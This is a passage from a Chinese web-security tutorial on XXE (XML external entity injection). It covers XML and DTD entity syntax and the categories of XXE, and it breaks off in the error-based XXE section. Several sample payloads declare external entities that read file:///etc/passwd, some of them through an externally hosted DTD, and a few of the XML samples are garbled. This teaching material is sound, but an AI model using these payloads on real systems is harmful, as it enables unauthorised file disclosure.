[红日安全]Web安全Day8 - XXE实战攻防

本文由红日安全成员: ruanruan 编写,如有不当,还望斧正。

大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式(sec-redclub@qq.com)联系我们。

  1. XXE概述
    XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
    下面我们主要介绍PHP语言下的XXE攻击.

1.1 XML基础
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。

1.1.1文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<?xml version="1.0"?> <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT head (#PCDATA)> <!ELEMENT body (#PCDATA)>

]]]>

Dave Tom Reminder You are a good man 1.1.2 DTD 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。 (1)内部的 DOCTYPE 声明 (2)外部文档声明

1.1.3 DTD实体
(1)内部实体声明

<!ENTITY 实体名称 ”实体的值”>

(2)外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>

(3)参数实体声明

<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>

三种实体声明方式使用区别:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

1.2 XXE原理
XXE即XML外部实体注入 。我们先分别理解一下注入和外部实体的含义。
注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。

1.3 XXE分类
下面我们对XXE进行一下分类,按照构造外部实体声明的方法不同可分为直接通过DTD外部实体声明、通过DTD文档引入外部DTD文档中的外部实体声明和通过DTD外部实体声明引入外部DTD文档中的外部实体声明。按照XXE回显信息不同可分为正常回显XXE、报错XXE和Blind XXE。

1.3.1 按构造外部实体声明
1.3.1.1 直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">

]>

&f;
1.3.1.2 通过DTD文档引入外部DTD文档中的外部实体声明
XML文件内容:

<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">

&f;
DTD文件内容:

<!ENTITY f SYSTEM "file:///etc/passwd">

1.3.1.3 通过DTD外部实体声明引入外部DTD文档中的外部实体声明

<?xml version="1.0"?>

]>

&f;
Quan.dtd的外部实体声明内容:

<!ENTITY f SYSTEM "file:///etc/passwd">

1.3.2 按输出信息
1.3.2.1正常回显XXE
正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息,可直接完成XXE攻击。

1.3.2.2 报错XXE
报错XXE是回显XXE攻击的一种特例,它与正

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值